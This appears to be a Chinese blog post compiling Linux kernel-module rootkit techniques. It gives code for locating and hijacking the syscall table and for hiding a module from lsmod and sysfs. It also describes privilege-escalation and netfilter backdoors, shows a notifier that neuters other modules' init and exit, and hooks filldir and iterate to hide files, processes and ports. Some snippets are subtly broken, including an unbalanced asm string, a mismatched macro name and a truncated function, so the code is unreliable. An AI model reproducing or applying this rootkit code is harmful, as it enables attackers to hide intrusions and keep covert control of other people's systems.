簡介
搜集一下linux lkm rootkit中常用的一些技巧
1、劫持系統調用
遍歷地址空間
根據系統調用中的一些導出函數,比如sys_close的地址來尋找
unsigned long ** get_sys_call_table(void) { unsigned long **entry = (unsigned long **)PAGE_OFFSET; for (;(unsigned long)entry < ULONG_MAX; entry += 1) { if (entry[__NR_close] == (unsigned long *)sys_close) { return entry; } } return NULL; }
這要求判斷的地址是導出函數,這樣才能獲取到地址
根據IDT地址,找到中斷處理函數,再從中根據特征碼找到系統調用表
在i386的機器中,使用如下代碼調用系統調用表
call *sys_call_table(,%eax,4)
這條指令的二進制代碼是
0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
然后根據0xff 0x14 0x85這3個特征碼去尋找表的地址
IDTR idtr; interrupt_descriptor *IDT, *sytem_gate; asm("sidt %0" : "=m" (idtr)); IDT = (interrupt_descriptor *) idtr.base_addr; system_gate = &IDT[0x80]; sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1); for (i = 0; i < 100; i++) { if (sys_call_asm[i] == (unsigned char) 0xff && sys_call_asm[i+1] == (unsigned char) 0x14 && sys_call_asm[i+2] == (unsigned char) 0x85) *guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3]; }
根據system.map來尋找
System.map位於/boot目錄下,內核編譯時生的符號表內容
直接在這個文件中尋找sys_call_table的地址
內核中kallsym尋找符號地址
內核中有查詢符號表地址的函數,直接使用就可以了
//查詢符號表的函數 static int khook_lookup_cb(long data[], const char *name, void *module, long addr) { int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { if (!name[i++]) return !!(data[1] = addr); } return 0; } /* 利用kallsyms_on_each_symbol可以查詢符號表,只需要傳入查詢函數就可以了 data[0]表示要查詢的地址 data[1]表示結果 */ static void *khook_lookup_name(const char *name) { long data[2] = { (long)name, 0 }; kallsyms_on_each_symbol((void *)khook_lookup_cb, data); return (void *)data[1]; }
內聯鈎子
替換掉內核代碼的前一部分,實現劫持內核其他的函數邏輯
具體可以看這里:https://www.cnblogs.com/likaiming/p/10970543.html
系統派遣例程篡改
在整個系統調用的流程中,修改跳轉到sys_call_table的地址的位置,然后跳轉到自定義偽造系統調用表,這樣也可以實現系統調用的劫持
模擬系統調用
寫一段代碼,用到sys_call_table,然后使用objdump查看地址
#include <stdio.h> void fun1() { printf("fun1/n"); } void fun2() { printf("fun2/n"); } unsigned int sys_call_table[2] = {fun1, fun2}; int main(int argc, char **argv) { asm("call *sys_call_table(%eax,4"); }
通過/dev/kmem訪問內存來實現系統調用表的搜尋
這種方式統一和之前的內存地址搜尋一樣,需要特征碼,比如說0xff 0x14 0x85
kprobes
它的工作方式如下:
1. 用戶指定一個探測點,並把一個用戶定義的處理函數關聯到該探測點 2. 在注冊探測點的時候,對被探測函數的指令碼進行替換,替換為int 3的指令碼 3. 在執行int 3的異常執行中,通過通知鏈的方式調用kprobe的異常處理函數 4. 在kprobe的異常出來函數中,判斷是否存在pre_handler鈎子,存在則執行 5. 執行完后,准備進入單步調試,通過設置EFLAGS中的TF標志位,並且把異常返回的地址修改為保存的原指令碼 6. 代碼返回,執行原有指令,執行結束后觸發單步異常 7. 在單步異常的處理中,清除單步標志,執行post_handler流程,並最終返回
LSM hook技術
修改LSM的鈎子函數,也就是全局表security_ops的函數指針
2、隱藏模塊
刪除全局模塊鏈表
lsmod命令是通過/proc/modules來獲取當前系統模塊信息的,而/proc/modules中的當前系統模塊信息是內核利用struct modules結構體的表頭遍歷內核模塊鏈表、從所有模塊的struct module結構體中獲取模塊的相關信息來得到的。結構體struct module在內核中代表一個內核模塊。通過insmod(實際執行init_module系統調用)把自己編寫的內核模塊插入內核時,模塊便與一個 struct module結構體相關聯,並成為內核的一部分,所有的內核模塊都被維護在一個全局鏈表中,鏈表頭是一個全局變量struct module *modules。任何一個新創建的模塊,都會被加入到這個鏈表的頭部,通過modules->next即可引用到。為了讓我們的模塊在lsmod命令中的輸出里消失掉,我們需要在這個鏈表內刪除我們的模塊
從sysfs中隱藏模塊
除了lsmod命令和相對應的查看/proc/modules以外,我們還可以在sysfs中,也就是通過查看/sys/module/目錄來發現現有的模塊
這個問題也很好解決,在初始化函數中添加一行代碼即可解決問題
kobject_del(&THIS_MODULE->mkobj.kobj);
從文件隱藏的角度來隱藏模塊
前面說到,用戶態讀取模塊信息是proc/modules和sys/modules,可以采用隱藏文件的方式來隱藏這兩個文件的信息
3、后門
使用proc文件提高進程權限
新建一個proc文件(當然最后要隱藏),然后自定義file_operation中的寫操作,用來提取權限
使用netfilter過濾進入系統的網絡包,通過網絡包中特殊字段來做到控制系統
4、防止其他模塊加載
注冊或者注銷模塊通知處理函數可以使用 register_module_notifier 或者unregister_module_notifier
編寫一個通知處理函數,然后填充 struct notifier_block 結構體, 最后使用register_module_notifier 注冊就可以了
int module_notifier(struct notifier_block *nb, unsigned long action, void *data); struct notifier_block nb = { .notifier_call = module_notifier, .priority = INT_MAX };
處理函數里面再更改權限
int fake_init(void); void fake_exit(void); int module_notifier(struct notifier_block *nb, unsigned long action, void *data) { struct module *module; unsigned long flags; // 定義鎖。 DEFINE_SPINLOCK(module_notifier_spinlock); module = data; fm_alert("Processing the module: %s\n", module->name); //保存中斷狀態加鎖。 spin_lock_irqsave(&module_notifier_spinlock, flags); switch (module->state) { case MODULE_STATE_COMING: fm_alert("Replacing init and exit functions: %s.\n", module->name); // 偷天換日:篡改模塊的初始函數與退出函數。 module->init = fake_init; module->exit = fake_exit; break; default: break; } // 恢復中斷狀態解鎖。 spin_unlock_irqrestore(&module_notifier_spinlock, flags); return NOTIFY_DONE; } int fake_init(void) { fm_alert("%s\n", "Fake init."); return 0; } void fake_exit(void) { fm_alert("%s\n", "Fake exit."); return; }
5、隱藏文件
到文件隱藏,我們不妨先看看文件遍歷的實現,在linux內核中,fs\readdir.c中,有3個用來遍歷文件的系統調用,old_readdir,getdents和getdents64,看其中兩個,也就是系統調用getdents / getdents64 ,簡略地瀏覽它在內核態服務函數(sys_getdents)的源碼 (位於fs/readdir.c),我們可以看到如下調用層次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate->這兒省略若干層次 -> struct dir_context 里的 actor ,也就是filldir
filldir 負責把一項記錄(比如說目錄下的一個文件或者一個子目錄)填到返回的緩沖區里。如果我們鈎掉filldir ,並在我們的鈎子函數里對某些特定的記錄予以直接丟棄,不填到緩沖區里,上層函數與應用程序就收不到那個記錄,也就不知道那個文件或者文件夾的存在了,也就實現了文件隱藏。
具體說來,我們的隱藏邏輯如下: 篡改根目錄(也就是“/”)的 iterate為我們的假 iterate , 在假函數里把 struct dir_context 里的 actor替換成我們的 假 filldir ,假 filldir 會把需要隱藏的文件過濾掉。
int fake_iterate(struct file *filp, struct dir_context *ctx) { // 備份真的 ``filldir``,以備后面之需。 real_filldir = ctx->actor; // 把 ``struct dir_context`` 里的 ``actor``, // 也就是真的 ``filldir`` // 替換成我們的假 ``filldir`` *(filldir_t *)&ctx->actor = fake_filldir; return real_iterate(filp, ctx); } int fake_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type) { if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) { // 如果是需要隱藏的文件,直接返回,不填到緩沖區里。 fm_alert("Hiding: %s", name); return 0; } /* pr_cont("%s ", name); */ // 如果不是需要隱藏的文件, // 交給的真的 ``filldir`` 把這個記錄填到緩沖區里。 return real_filldir(ctx, name, namlen, offset, ino, d_type); }
通用宏
# define set_f_op(op, path, new, old) \ do { \ struct file *filp; \ struct file_operations *f_op; \ \ fm_alert("Opening the path: %s.\n", path); \ filp = filp_open(path, O_RDONLY, 0); \ if (IS_ERR(filp)) { \ fm_alert("Failed to open %s with error %ld.\n", \ path, PTR_ERR(filp)); \ old = NULL; \ } else { \ fm_alert("Succeeded in opening: %s\n", path); \ f_op = (struct file_operations *)filp->f_op; \ old = f_op->op; \ \ fm_alert("Changing iterate from %p to %p.\n", \ old, new); \ disable_write_protection(); \ f_op->op = new; \ enable_write_protection(); \ } \ } while(0)
比如這么調用下面的代碼
void *dummy; set_file_op(iterate, "/", real_iterate, dummy);
6、隱藏進程
Linux 上純用戶態枚舉並獲取進程信息,/proc 是唯一的去處。所以,對用戶態隱藏進程,我們可以隱藏掉/proc 下面的目錄,這樣用戶態能枚舉出來進程就在我們的控制下了。讀者現在應該些許體會到為什么文件隱藏是重點內容了。
int fake_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type) { char *endp; long pid; // 把字符串變成長整數。 pid = simple_strtol(name, &endp, 10); if (pid == SECRET_PROC) { // 是我們需要隱藏的進程,直接返回。 fm_alert("Hiding pid: %ld", pid); return 0; } /* pr_cont("%s ", name); */ // 不是需要隱藏的進程,交給真的 ``filldir`` 填到緩沖區里。 return real_filldir(ctx, name, namlen, offset, ino, d_type);
7、隱藏端口
向用戶態隱藏端口, 其實就是在用戶進程讀/proc下面的相關文件獲取端口信息時, 把需要隱藏的的端口的內容過濾掉,使得用戶進程讀到的內容里面沒有我們想隱藏的端口。 具體說來,看下面的表格。 網絡類型 /proc 文件 內核源碼文件 主要實現函數 TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show
